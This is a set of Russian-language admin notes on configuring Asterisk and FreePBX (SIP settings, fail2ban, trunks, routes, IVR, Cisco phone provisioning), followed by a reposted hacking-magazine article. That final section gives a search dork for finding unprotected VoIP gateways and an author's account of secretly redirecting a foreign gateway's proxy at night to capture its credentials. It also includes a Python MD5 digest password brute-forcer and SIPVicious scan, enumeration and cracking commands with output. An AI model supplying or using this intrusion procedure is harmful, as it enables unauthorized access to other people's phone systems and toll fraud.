Рубрики
Asterisk

FreePBX / первоначальная настройка

Ссылки:

https://wiki.merionet.ru/ip-telephoniya/13/freepbx-13-nastrojka-s-nulya/

Настройка:

0. Активируем:
Admin → System Admin и нажмите кнопку Activation

2. Settings, а далее Asterisk Sip Settings
Allow Anonymous inbound SIP Calls
Данная опция позволяет разрешить, или запретить входящие звонки с неизвестных номеров.
Советуем запрещать данный вид звонков, так как потенциально, разрешенные анонимные звонки могут стать лазейкой для злоумышленников.

Local Networks
Введите локальные (находящиеся внутри вашей сети) адреса подсетей, которым Asterisk будет доверять. 
Например, 192.168.2.0/255.255.255.0

RTP Ranges
Укажите диапазон RTP портов. 
Рекомендуем все оставлять по умолчанию.

Strict RTP
Когда между двумя устройствами устанавливается RTP поток, то назначаются адреса источника и назначения. 
При включенной данной опции, все пакеты приходящие с другого IP – адреса буду отброшены. 
Мы рекомендуем не выключать данную опцию.

Codecs
Галочкой отметьте нужные кодеки.

NAT - yes 
В большинстве случаев, если администратор обнаруживает проблему односторонней слышимости, или то, 
что звонки обрываются спустя несколько секунд разговора – проблема в NAT

IP Configuration - Static IP

Override External IP - введите ваш внешний IP - адрес

Reinvite Behavior - No

fail2ban

Admin → System Admin→ Intrusion Detection
Status - мы рекомендуем всегда контролировать состояние Fail2Ban, чтобы статус был running
Intrusion Detection - в данном пункте можно остановить и перезапустить службу.
Ban Time - время в секундах, которое IP – адрес будет находиться в статусе блокировки
Max Retry - количество попыток подключения к АТС, которое пользователь может осуществить в течение Find Time.
Find Time - время, в течение которого у пользователя есть Max Retry попыток подключения к системе.
E-mail: - адрес электронной почты, на которую будут отправляться уведомления о внесении нового IP – адреса в бан.
Whitelist - список заранее внесенных IP – адресов, которым доверяет администратор.
Рубрики
Asterisk

FreePBX / маршрутизация вызовов / Outbound Routes / Inbound Routes

Ссылки:

https://wiki.merionet.ru/ip-telephoniya/8/freepbx13-marshrutizaciya-vyzova/

Исходящие вызовы:

Connectivity → Outbound Routes

Route Name - Имя маршрута. 
Рекомендуем записывать названия по номеру телефона
 – это позволяет быстрее ориентироваться в настроенных маршрутах.

Route CID - В данном поле можно ввести CallerID для этого маршрута, т.е. номер звонящего, 
который мы будем отправлять в сторону провайдера. 

Важно отметить, что данный CID является менее приоритетным, 
чем CID настроенный на SIP – транке и правилах Ring Group, Follow Me.


Override Extension - Yes/No: 
Если выбрано значение Yes, то настроенный в параметрах экстеншена Outbound CID будет игнорироваться

Route Password - Данная настройка позволяет запрашивать у пользователя пароль, чтобы позвонить через данный маршрут.
Это достаточно полезная опция, при звонках зарубеж.

Route Type - Выбрать тип маршрута:
      Аварийный (Emergency) или Корпоративный (Intra-Company)
      Аварийный (Emergency): Набор экстренных служб и прочих
      Корпоративный (Intra-Company): В данном случае будет сохранена информация Caller ID в настройках Extension


Music On Hold - Музыка ожидания на маршруте. 
Для различных направлений звонка, например, можно делать какое-либо звуковое сообщение на нативном для направления языке.

Time Group - Временная группа.
Если отмечено, то этот маршрут будет использоваться только в указанное в настройках Time Group времени.

Route Position - Во FreePBX 13, как и в других версиях используется приоритетность маршрутов в зависимости от его позиции. 
В данном пункте можно выбрать позицию маршрута относительно других.

Trunk Sequence for Matched Routes - Последовательность SIP – транков для отправления вызова в сторону провайдера. 
Если первый транк не работает, вызов будет отправлен во второй и так далее.

Optional Destination on Congestion - Если вызов не может состоять по причине неработоспособности SIP – транков, 
то можно отправить вызов, например, на звуковое сообщение «В настоящее время все линии недоступны. Обратитесь в техническую поддержку»

Dial Patterns

Шаблон набора номера имеет 4 поля настройки: Prepend, Prefix, Match Pattern и CallerID.
ВАЖНО: Asterisk ищет совпадения сопоставляя поле Prefix и Match Pattern.

(prepend) prefix | [ match pattern / caller ID ]

Prepend - Данная часть будет добавлена к номеру, перед отправкой в SIP – транк в случае совпадения шаблона.
Prefix - Префикс – это часть шаблона, которая будет удалена
Match Pattern - Набранный номер.


Шаблон	    Описание
X           Любое целое число от 0 до 9
Z           Любое целое число от 1 до 9
N           Любое целое число от 2 до 9
[#####]     Любое целое число в скобка. Например, перечисление – [1.2.7], или диапазон чисел –[1.2.6-9], в который попадают числа 1,2,6,7,8,9
.(точка)    Любой набор символов

Пример:
[78]ХХХХХХХХХХ
49[589]ХХХХХХХ
810Z.
9ХХХХХХХХХ
ХХХХХХХХХ
7XXXXXXXXXX
89ХХХХХХХХХ
ХХХХХХХ



Входящие вызовы:

0. Connectivity → Inbound Routes
1. Самым главным пунктом в настройке входящего маршрута является DID Number. 
Данный параметр вы получаете от вашего провайдера, и, как правило, он совпадает с самим подключаемым номером.
Даем имя нашему входящему маршруту – чтобы не путаться, мы советуем так же дать имя в соответствие с номером.
2. Далее, самое главное – поле Set Destination. 
Выбираем назначение для нашего звонка. Это может быть как IVR, проверка времени, Ring Group или что - угодно
Рубрики
Asterisk

FreePBX / Trunk / по логину и паролю

Ссылки:

https://wiki.merionet.ru/ip-telephoniya/8/freepbx13-nastroika-tranka/
https://wiki.merionet.ru/ip-telephoniya/23/podklyuchaem-asterisk-k-beeline-po-sip/

Trunks:

0. Connectivity -> Trunks

1. Add SIP (chan_sip) Trunk
   Trunk Name - Название транка
   Hide CallerID - Опция скрытия CID при исходящем вызове
   Outbound CallerID CID, который будет передаваться при исходящем вызове
   CID Options - Настройки передачи CID – разрешить все, запретить иностранные и т.д.
   Maximum Channels - максимальное количество одновременных разговоров вне локальной сети
   Asterisk Trunk Dial Options - модификация Dial options, в данном случае оставим опцию дефолтной
   Continue if Busy - опция направления вызова на следующий транк даже если канал сообщает «BUSY» или «INVALID NUMBER»
   Disable Trunk - опция выключения транка

2. настройки исходящих вызовов «Outgoing»

host=сервер_предоставляющий_услуги_sip
type=peer
context=from-trunk
username=ваш_sipid - логин, который выдается провайдером(ваш номер)
secret=ваш_пароль - пароль, выданный провайдером
fromuser= ваш_sipid
fromdomain=сервер_предоставляющий_услуги_sip
qualify=yes
insecure=invite,port
faxdetect=no
account=celecom 

3. настройки входящих вызовов «Incoming»

ваш_Sipid:PASSWORD@сервер_предоставляющий_услуги_sip/ВАШ_НОМЕР

типовые настройки для транка для МТС

disallow=all
deny=0.0.0.0/0.0.0.0
type=peer
qualify=yes
permit=a.a.a.a/255.255.255.255
host=a.a.a.a
fromdomain=a.a.a.a
insecure=port,invite
canreinvite=no
dtmfmode=rfc2833
allow=alaw
context=from-trunk

Рубрики
Asterisk

Microsip / softphone / софтфон

http://www.microsip.org/downloads - старица загрузки

0.  Menu → Add Account…
1. Account name - “имя” аккаунта, можно оставить пустым
2. SIP server - адрес вашей АТС / ip / dns 
3. SIP proxy - в данном примере эта настройка не используется, часто может потребоваться при некорректной настройке АТС
4. User - пользователь на АТС, как правило, такой же как и экстеншен / номер телефона
5. Domain - снова адрес вашей АТС
6. Login - номер вашего экстеншена
7. Password - пароль вашего экстеншена
8. Display name - имя, отображаемое в софтфоне

Рубрики
Asterisk

FreePBX / IVR / RasPBX / автоответчик

Запись звука:

Admin -> +Add recording -> перетаскиваем Drag_Drop

IVR — автоответчик

Applications -> IVR
-------------------
IVR Name - даем имя
IVR Description - даем имя
Announcement - даем имя
Enable Direct Dial - разрешить перенаправление
Timeout - 1 сек - ожидания после приветствия
Invalid Destination - Terminate Call- Hungup - завершать звонок при не известном
Timeout Retries - 3
Timeout Destination - Extensions - номер_телефона - набрать номер
-------------------
IVR Entries - 0 - Extensions - номер_телефона - переключить номер
Рубрики
Asterisk

Asterisk установка+настройка+cisco7911

0. добавим откуда брать пакеты

Для debian squeeze
echo "deb http://packages.asterisk.org/deb squeeze main" >> /etc/apt/sources.list
echo "deb-src http://packages.asterisk.org/deb squeeze main" >> /etc/apt/sources.list
apt-key adv --keyserver pgp.mit.edu --recv-keys 175E41DF
apt-get update

1. установим asterisk

apt-get install asterisk-1.8 asterisk-dahdi

2. настройка астера sip.conf

cd /etc/asterisk/
cp sip.conf sip.conf.back
echo 1 > sip.conf
nano /etc/asterisk/sip.conf

[general]
transport=udp
t38pt_udptl=yes,fec,maxdatagram=400
;faxdetect=yes
echocancel=yes
alwaysauthreject = yes
disallow=all
allow=alaw
allow=ulaw
allow=gsm
context=default
qualify=yes
registertimeout=300

;srvlookup=yes

session-timers=originate
session-expires=120
session-minse=90
session-refresher=uac

nat=yes
externip=0.0.0.0:5060
localnet=192.168.3.0/24
localnet=192.168.92.0/24
localnet=10.70.70.0/24
canreinvite=no

[zxc](!)
type=friend
host=dynamic
context=zxc
deny=0.0.0.0/0.0.0.0
permit=192.168.92.0/255.255.255.0
permit=10.70.70.0/255.255.255.0
permit=10.10.10.10/255.255.255.0
callgroup=1
pickupgroup=1
nat=no

[900](zxc)
secret=pass
callerid="900" <900>

[901](zxc)
secret=pass
callerid="901" <901>

[999](zxc)
secret=pass
callerid="999" <999>
permit=192.168.3.0/255.255.255.0

[905](zxc)
secret=pass
callerid="TEST" <905>
permit=XXX.XXX.XXX.XXX/255.255.255.255

;[oyster]
;host=XXX.XXX.XXX.XXX
;type=friend
;context=oyster
;dtmfmode=inband
;fromuser=pks-gw
;nat=yes

3. правим диалплан

cd /etc/asterisk/
cp extensions.conf extensions.conf.back
echo 1 > extensions.conf
nano /etc/asterisk/extensions.conf


[default]
exten => _X.,1,Hangup

[zxc]
exten => _9XX,1,Dial(SIP/${EXTEN})
;exten => _[2-8]xxxxxx,1,Set(CALLERID(ALL)=78126002597)
;exten => _[2-8]xxxxxx,n,Dial(SIP/oyster/${EXTEN})
;exten => _[2-8]xxxxxx,n,Hangup()
;exten => _8XXXXXXXXXX,1,Set(CALLERID(ALL)=78126002597)
;exten => _8XXXXXXXXXX,n,Dial(SIP/oyster/${EXTEN})
;exten => _8XXXXXXXXXX,n,Hangup()


;;[oyster]

;; During business hours, jump to incoming-open context.
;; We are open Monday to Friday from 9:00 to 18:00 (9 a.m. to 6 p.m.):

;;exten => 1234567,1,GotoIfTime(09:00-19:00,mon-fri,*,*?incoming-open,s,1)

;; Also Saturdays from 9 to 12:
;exten => 1234567,n,GotoIfTime(09:00-12:00,sat,*,*?incoming-open,s,1)

;; After hours go to incoming-closed:
;;exten => 1234567,n,Goto(incoming-closed,s,1)

[incoming-open]

;;Both phones call - 901 and 900
;exten => s,1,Dial(SIP/901&SIP/900,10)
;exten => s,n,Set(CALLERID(ALL)=123456789)
;exten => s,n,Dial(SIP/oyster/123456789)
;exten => s,n,Hangup()

;;OR phone call serially - timeout 30 sec
;exten => s,1,Dial(SIP/900,30)
;exten => s,n,Dial(SIP/901,30)
;exten => s,n,Hangup()


[incoming-closed]
;exten => s,1,Set(CALLERID(ALL)=123456789)
;exten => s,n,Dial(SIP/oyster/123456789)
;exten => s,n,Hangup()

4. установка tftp + dhcp

apt-get install atftpd dhcp3
mkdir /var/log/tftp/ -p
mkdir /var/tftp -p
touch /var/log/tftp/atftpd.log 
chown nobody.nogroup /var/log/tftp/
chown nobody.nogroup /var/tftp

nano /etc/default/atftpd 
USE_INETD=false
OPTIONS="--logfile /var/log/tftp/atftpd.log --user nobody --bind-address 0.0.0.0 --no-multicast /var/tftp


nano /etc/default/isc-dhcp-server
INTERFACES="eth1"
nano /etc/dhcp/dhcpd.conf
ddns-update-style none;
option domain-name "d0.b14hesh.ru"; -пох
option domain-name-servers 10.10.10.10, 8.8.8.8; -dns 
option tftp-server-name "10.10.10.10";
option routers 10.10.10.10; -gateway
option broadcast-address 10.10.10.255;
default-lease-time 600;
max-lease-time 7200;
log-facility local7;

host winxp {
  hardware ethernet 00:0c:29:ea:72:4d;
  fixed-address winxp.d0.b14esh.ru; (у меня стаял bind он раздвал ip)
}

subnet 10.10.10.0 netmask 255.255.255.0 {
  range 10.10.10.100 10.10.10.200;
}

5. Файло необходимое для прошивки телефонов кладем все /var/tftp

http://81.176.70.54/3803422/cmterm-7911_7906-sip.8-5-2.zip?filename=cmterm-7911_7906-sip.8-5-2.zip - берем тут или ищем в инете
apps11.8-5-2TH1-9.sbn
cmterm-7911_7906-sip.8-5-2.zip
cnu11.8-5-2TH1-9.sbn
cvm11sip.8-5-2TH1-9.sbn
dsp11.8-5-2TH1-9.sbn
jar11sip.8-5-2TH1-9.sbn
SEP002414B3095B.cnf.xml файл настройки Цыскофона с маком 002414B3095B
SIP11.8-5-2S.loads тут указаны файлы для прошивки
term06.default.loads тут указаны файлы для прошивки 7906
term11.default.loads тут указаны файлы для прошивки 7911
XMLDefault.cnf.xml Файл настройки для всех Цысок

6. Пример конифига для телефона с номером 900


SIP
admin
admin

    
       D.M.Y
	HH:MM
	Caucasus Standard/Daylight Time
		
			
			pool.ntp.org
			Unicast
			
		

	
    
       
          
             
                
                   2000
                   5060
                   5061
                
                 ип адресс сервераааа
             
          
       
    
 

    
       
       
       
       
       
       
       true
   
   
       true
       x--serviceuri-cfwdall
       x-cisco-serviceuri-pickup
       x-cisco-serviceuri-opickup
       x-cisco-serviceuri-gpickup
       x-cisco-serviceuri-meetme
       x-cisco-serviceuri-abbrdial
       false
       2
       true
       true
       2
       2
       0
       true
   
   
       6
       10
       180
       3600
       5
       120
       120
       5
       500
       4000
       70
       false
       None
   
   1
    false
    true
    false
    false
     101
    3
    avt
    false
    false
    3
    Cisco
    1
    false
    10
    false
    16384
    32766
    
       
          9
          900
           ип адресс сервера или имя днс
          5060
          900
          900
          
             2
         
         3
         704
          pass (пароляяя) 

          false
          1
          
          4
          5
          
          
             true
             false
             false
             true
          
      
      
          21
          speed dial name goes here
          speed dial actual number goes in here
       
   
   5060
    184
    0
    dialplan.xml


    
    true
    2

SIP11.8-5-2SR1S


    false
    false
    0
    1
    0
    0
    0
    0
    1
    1,2,3,4,5,6,7
    00:00
    00:00
    00:00
    1
    1
    


  Russian_Russia
  
  ru_RU
  utf-8
  
1143565489-a3cbf294-7526-4c29-8791-c4fce4ce4c37


	Russian_Federation
	
	


 
 1
 
 
 
 
 
 
 
 96
 0
 96
 4
 0
 
    
       3804
    
 

 
 false


Рубрики
Asterisk

asterisk tools \ sip.conf \ extensions.conf

Tools

командная строка asterisk -rvv
rasterisk вот так мы попадаем в консоль asterisk
sip show peers - показать сипы
sip show settings - показать настройки
sip set debug on - показывать дебаг
sip show registry
sip reload - перезагрузить настройки сип
dialplan reload - перечитать конфиг диалплана extensions.conf
dialplan show - показать диалплан

sip.conf

/etc/asterisk/sip.conf
Дальше нас интересует файл sip.conf, где определяются серверы и клиенты SIP, 
с которыми будет дружить наш Asterisk. Каждый из них представлен в файле 
отдельным блоком, который начинается с оглавления, заключенного в 
квадратные скобки. Параметров в sip.conf довольно много, 
ограничимся лишь добавлением SIP-аккаунта:
[grinder]
type=friend
host=dynamic
; defaultip=192.168.1.200
username=grinder
secret=password
language=ru
nat=no
canreinvite=no
context=office
callerid=grinder <1234>
mailbox=1234@office
; перед использованием параметра allow следует отключить все кодеки
disallow=all
; порядок следования кодеков не имеет значения
allow=ulaw
allow=alaw

extensions.conf

/etc/asterisk/extensions.conf
После определения SIP-аккаунтов наши клиенты могут регистрироваться на сервере
Asterisk и совершать исходящие вызовы. Чтобы у них была возможность 
принимать звонки, следует обратиться к файлу extensions.conf, в котором 
описывается план набора (Dialplan), распределяющий звонки в системе. 
Здесь же указываются все разрешенные расширения.

[office]
include => default
exten => 1234,1,Dial(SIP/grinder,20)
exten => 1234,2,Voicemail(grinder)

Сопоставление имени пользователя, а не IP-адреса
Некоторые поставщики услуг для отправки своих вызовов могут использовать 
вместо протокола Session Initiation Protocol множество IP-адресов, 
требуя от вас создания отдельной учетной записи типа peer для каждого IP-адреса. 
Если известны не все IP-адреса, вероятно, придется сравнивать имена пользователей.
В этом случае потребуется лишь немного изменить формат описания поставщика сервисов.
Самое большое изменение, на которое следует обратить внимание, – то, 
что вам понадобится задать [заголовок_поставщика_услуг] как имя пользователя, 
которому ваш поставщик сервисов собирается направлять вызовы. 

Также мы изменили тип peer (равноправный) на friend (дружественный),
что с точки зрения Asterisk создает типы и user (пользователь), 
и peer, где тип user будет сравниваться раньше peer:

   [мой_уникальный_id]
   type=friend
   host=10.251.55.100
   fromuser=мой_уникальный_id
   secret=мой_секретный пароль
   context=incoming_calls
   dtmfmode=rfc2833
   disallow=all
   allow=gsm
   allow=ulaw
   insecure=invite

nano sip.conf

Начинается самое интересное: процесс конфигурации.
[general] 
context=default	 ;контекст по умолчанию 

allowguest=no	 ;никаких гостей, мы никого не ждём 

allowoverlap=no	 ;Этот параметр определяет разрешаем мы или нет передачу вызова с дополнительными цифрами. Мы – не разрешаем. 

alwaysauthreject=yes	 ;Этот параметр означает, что все ошибки для внешнего клиента выглядят одинаково – ошибка авторизации. Призван осложнять взлом АТС. 

useragent=Orgue de Barbaris	 ;Это – как мы представляемся у других. Я назвался по имени первого патефона, чтобы облегчить техподдержке провайдеров 
                                  поиск диалогов с моей АТС, т.к. периодически приходится с ними общаться. 

defaultexpiry=360	 ;Интервал обязательной перерегистрации клиентов. 

callevents=yes	 ;Это на будущее, чтобы клиент мог поиграть в управление music on hold 

limitonpeer=yes	 ;Считаем исходящие и входящие вызовы пиров вместе. 

tcpenable=yes	 ;Разрешаем TCP протокол для SIP. rtptimeout=60	 ;Сколько времени клиент может не откликаться, прежде чем будет кикнут из системы. 

language=ru	 ;Язык системы. Используется для голосового меню. 

bindport=5060	 ;Порт по умолчанию. Можно изменить для усложнения вычисления и взлома АТС, но решение спорное. 

bindaddr=0.0.0.0	 ;у меня стоят нули, т.к. АТС имеет два интерфейса и на обоих висят клиенты. 

srvlookup=yes

tos_sip=cs3	 ; http://www.voipinfo.org/wiki/view/Asterisk+sip+tos tos_audio=ef 

disallow=all	 ;сначала запрещаем все кодеки 

allow=alaw	 ;затем, разрешаем только те, что хотим использовать. Порядок значения не имеет. 

allow=g729

allow=g723

allow=ulaw 

dtmfmode=rfc2833	 ;На Asterisk-ах рекомендуется ставить info, но мой итальянский провайдер настоял на rfc. 

rtpholdtimeout=300

rtpkeepalive=5 

canreinvite=no	 ;Этот параметр запрещает клиентам общаться напрямую. 
Общение происходит только через сервер. У меня это сделано так потому что 
мобильные клиенты используют платные клиенты с протоколом g.729а, а стационарные 
сидят на бесплатных клиентах без оного. Поэтому, я предпочёл напрячь сервер 
транскодингом alaw<->g.729a на лету в пользу качества связи для мобильных клиентов. 
Тем более что Core i7-930 вообще не замечает этой нагрузки. 

externip=xxx.xxx.xxx.xxx	 ;Указываем наш внешний IP. Параметр нужен вообще-то, если только Asterisk прячется за NAT, но у меня он есть. Нехай будет. 

allowexternaldomains=yes	 ;Читаем тут и решаем, надо-ли вам это. 

domain=mydomain.com,default	 fromdomain=mydomain.com ;Здесь должны 
быть прописаны пиры до провайдеров. Все встречавшиеся мне SIP-провайдеры имеют
стандартный шаблон секции конфига для Asterisk и предлагают именно его для 
прописывания в конфиги. Я так и сделал и у меня всё работает. Поэтому, я не 
буду приводить здесь их все, дабы не смущать никого. Покажу только 
мегафоновский шаблон для мультифона просто в качестве примера. 

register => tcp://номер@multifon.ru:пароль:номер@sbc.megafon.ru/номер~60 ;

Это пример стандартного SIP-пира до провайдера сип-телефонии для входящей связи

[multifon]	;это тот же пир, только уже для исходящей связи
type=peer
secret=пароль
username=номер
host=sbc.megafon.ru
port=5060 
insecure=port,invite 
call-limit=1
context=incoming 
canreinvite=no 
qualify=yes 
transport=tcp

dtmfmode=inband ;А теперь – самое интересное. Клиентов у нас довольно много, 
поэтому, чтобы не прописывать каждому одно и то же, мы используем шаблоны. 

Выглядит это так: 
[defaults](!) canreinvite=no	 ;голосовой трафик только через сервер
disallow=all
allow=alaw
allow=g729
allow=g723 [peer](!,defaults)
type=peer
host=dynamic	 ;разрешаем цепляться откуда угодно 
qualify=yes	 ;постоянно держим связь с клиентом 
nat=yes	         ;предполагаем, что клиент может быть за NAT 
call-limit=1	 ;ограничиваем кол-во одновременных звонков 
busylevel=1	 ;сообщаем, когда отбивать с сигналом “занято” 
rtpkeepalive=5	 ;интервал в секундах для пинга клиента.

[ext1000](peer) 
secret=secretsecretsecret 
[ext1001](peer) 
secret=secretsecretsecret 
[ext1002](peer) secret=secretsecretsecret ;Если нам надо что-то изменить 
или добавить, то выглядеть это будет так: 
[ext1101](peer) 
secret=secretsecretsecret 
transport=tcp	 ;разрешаем отдельному пиру SIP по TCP.
Voicemail.conf - остаеться практически по дефолту

queues.conf

[general] 
persistentmembers = yes	 ;очередь постоянная, никто никуда не выходит
autofill = yes ;просто так надо
autopause = no	 ;если мембер не отвечает, то ему всё-равно звонить 
monitor-type = MixMonitor ;Пример одной очереди
[1100] ;екстеншн очереди 
strategy = ringall	 ;стратегия обзвона группы – звонят все сразу 
eventwhencalled = yes	 ;прилада для внешних мониторов типа Fop2 
ringinuse = no	 ;занятых не дёргаем 
timeout = 20	 ;таймаут 
retry = 1	 ;повторный вызов всей группы через 1 секунду 
wrapuptime = 0	 ;какая передышка у агента очереди после звонка (сек) 
maxlen = 0	 ;сколько людей в очереди на ответ. 0=бесконечно 
;ниже – просто список мемберов очереди 
member => SIP/2222 
member => SIP/1101
member => SIP/1102
member => SIP/1103
member => SIP/1104
member => SIP/1105
member => SIP/1106
member => SIP/1107 
member => SIP/1108
member => SIP/1109
member => SIP/1110

Запись звуков

При создании голосовых меню часто возникает необходимость использования 
собственных файлов озвучки. Звуковые файлы, используемые в Asterisk, 
хранятся в формате gsm. Наиболее просто и быстро записать такие файлы можно 
с помощью самого Asterisk. Для этого в номерном плане можно создать 
специальный контекст со следующим содержанием:
[gsm-record]
exten => 150,1,Wait(2)
exten => 150,2,Record(testrecord:gsm)
exten => 150,3,Wait(2)
exten => 150,4,Hangup
exten => 151,1,Playback(testrecord2)
exten => 151,2,Wait(2)
exten => 151,3,Hangup
Позвонив на номер 150, мы сможем наговорить необходимый текст, который 
будет сохранен в стандартной папке звуков Asterisk (/var/lib/asterisk/sound) 
в файле ivrrecording.gsm. Прослушать содержимое этого файла можно, 
позвонив по номеру 151.

Рубрики
Asterisk kali \ virus \ rootkit \ вирусы \ защита

asterisk \ SIP \ sip.conf \ безопасность

Источник:

http://www.xakep.ru/post/56194/ - Каждому хакеру – по VoIP: ищем и взламываем VoIP-шлюзы

Вводная информация:

На тему астерисков и подбора паролей к ним написано очень много статей. 
Люди в теме наверняка слышали про набор утилит sipvicious, а многие их даже уже попробовали. 
Однако, когда ты сканируешь сеть при помощи svmap.py (скрипт входит в вышеупомянутый комплект), то в Сети помимо астерисков находятся различные VoIP-железки, как то: 
Cisco, AddPac, Linksys и так далее. Как правило, у них есть собственный web-интерфейс. И если ты думаешь, что он запаролен, то ты, наверное, прав. Но не всегда :). 
У Linksys по умолчанию нет пароля на web-интерфейсе. 
А зря, ведь многие их железки могут быть доступны извне.
На самом деле, незапароленные шлюзы можно искать и при помощи Google. Если в поисковом запросе ввести intitle: "Sipura SPA Configuration", 
то найдется немало шлюзов Линксис, на которых не выставлен пароль.

SIP-регистрация:

Рассмотрим, как происходит процесс SIP-регистрации. 
Изначально клиент отправляет на Softswitch (например, Asterisk) запрос "REGISTER", в котором нет пароля, а есть только contact. 
В ответ приходит сообщение "401 Unauthorized", в котором указано, что нужно пройти "Digest access authentication". 
В присланном сообщении сгенерированы nonce и realm. 
Используя nonce и realm (полученные от сервера), пароль и username (прописанные на шлюзе), а также digesturi, 
шлюз генерит md5-хэш — response — и отправляет все это обратно на Softswitch, который проверяет присланные данные. 
Если они верные, то возвращает 200 ОК, если нет — снова 401. 
Получается, если достать дамп регистрации, то у тебя окажутся все данные, кроме пароля, а его можно будет подобрать. 
Для этого устанавливаем астериск, заводим в нем единственный peer, вбиваем username, как на шлюзе, и прописываем любой пароль. 
Затем применяем настройки.

Простейший пир из /etc/sip.conf:

[peru]
type=friend
username=*username со шлюза*
secret=helloworld
host=dynamic
disallow=all
allow=alaw
allow=ulaw


Далее я запускаю на астериске команду tshark с фильтром по порту 5060 и записью дампа в файл: tshark port 5060 -w /tmp/001.pcap. 
Затем, зайдя на шлюз, меняю значение Proxy на IP-адрес астериска и жму "Submit all Changes". 
Когда у меня на часах 10 утра, то в Перу 2 ночи, так что работать со шлюзом очень удобно — можно не опасаться, 
что перезагрузка шлюза привлечет чье-то внимание. 
После того как шлюз ребутнулся, в tshark'e ловятся четыре пакета, что означает получение всех необходимых данных. 
Затем я возвращаю прежнее значение Proxy и снова применяю настройки.

Подбор пароля

Далее я открываю дамп (например, при помощи Wireshark). 
Там нахожу пакет REGISTER с response — теперь все данные есть, и дело за малым — написать скрипт для подбора пароля. 
Кстати, можно ловить данные и в консоли астериска, для этого набираем в CLI "sip set debug on" и смотрим содержимое пакетов. 
Ввиду того, что скрипт, при помощи которого был найден шлюз, писался на питоне, я решил не отступать от традиции и написал очередной сценарий также на питоне. 
В нем мне нужно перебирать весь алфавит. 
Для этого я использовал готовый класс — он решает проблему с генерацией всех возможных вариантов пароля 
и позволяет задать алфавит для перебора (то есть искать только среди цифр, строчных букв и любых их сочетаний). 
А также задать длину пароля, начальное и конечное его значения.


Запрос на регистрацию в Wireshark
#!/usr/bin/python
import md5 # подключаем библиотеку, которая будет генерить md5-хэш
# дальше идет класс для подбора пароля
EN = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
# перечисление алфавитов
en = "abcdefghijklmnopqrstuvwxyz"
digits = "1234567890"
space = " "
p = ",.-!?;:'\"/()"
op = "+-*/:^()><="
all_spec = "'~!@#$%^&*-_=+\\|/?.>,>'\";:[]{}"
class ABCIterator:
# ... здесь следует класс, спертый из интернета :)
# ...
# класс закончился, переходим к вводу данных
u=(raw_input('username >> '));
b=(raw_input('realm >> '));
m=(raw_input('method >> '));

d = (raw_input('digestURI >> '));
r = (raw_input('response >> '));
n = (raw_input('nonce >> '));
print u,b,m,d,r,n;
ha2= md5.new(m+":"+d).hexdigest();
# генерим часть ha2 — она будет использоваться для хэширования
response=0;
ch=0; # в эту переменную будет сохраняться
# порядковый номер пароля
for i in ABCIterator(start_len=1, stop_len=8, abc=digits+en):
    # указываем, что длина пароля начинается с 1,
    # заканчивается на 8, # и при переборе используются
    # цифры и буквы нижнего регистра
    ch = ch+1;
    if ch % 500000 == 0: print i;
    # это позволяет выводить на экран только каждый 500000-ый
    # вариант пароля
    ha1 = md5.new(u+":"+b+":"+i).hexdigest();
    response = md5.new(ha1+":"+n+":"+ha2).hexdigest(); # хэшируем
    if r == response: # сравниваем хэш с полученным от шлюза
        print "------------------>", i;
        # если они совпадают, выводит пароль и прекращаем поиск
        exit(0);

Как брутят SIP-аккаунты?

Многие атаки на VoIP сводятся к поиску неправильно настроенных PBX (private branch exchange) или, по-русски говоря, офисных АТС. 
Различного рода сканирования, анализ и подбор паролей чаще всего осуществляются с помощью упомянутого в тексте статьи набора скриптов SIPVicious, 
написанных на Python'е и работающих под разными ОС. 
Чтобы лучше понимать материал, вспомним, как осуществляются основные действия на простом примере.

1. Сканирование диапазона подсети (пусть это будет 192.168.1.1/24), чтобы найти BPX.

[you@box sipvicious]$ ./svmap 192.168.1.1/24
| SIP Device         | User Agent           |
---------------------------------------------
| 192.168.1.103:5060 | Asterisk PBX         |

Если верить результатам, то АТС найдена на IP-адресе 192.168.1.103, а работает она на базе Asterisk PBX.

2. Поиск extention'ов (грубо говоря, виртуальных номеров) на найденной АТС. 
Эти аккаунты можно будет использовать для осуществления звонков.

[you@box sipvicious]$ ./svwar.py 192.168.1.103
| Extension | Authentication |
------------------------------
| 123       | reqauth        |
| 100       | reqauth        |
| 101       | noauth         |

Итак, найдено три номера. Мы видим, что номер 101 не требует авторизации. 
А для 100 и 123 необходима авторизация.

3. Подбор пароля, подставляя числовые значения (они используются более чем часто):

[you@box sipvicious]$ ./svcrack.py 192.168.1.103 -u 100
| Extension | Password |
------------------------
| 100       | 100      |

Для extention’а "100" пароль подобран!

4. Подбор пароля с использованием словаря:

[you@box sipvicious]$ ./svcrack.py 192.168.1.103 -u 123 -d dictionary.txt
| Extension | Password |
------------------------
| 123       | secret   |

Есть пароль и для номера 123!

Вот так просто мы нашли АТС, рабочие аккаунты и подобрали для них пароль. 
Злоумышленник может подставить найденные логин-пароль в свой SIP-клиент (например, X-Lite) и осуществить звонки.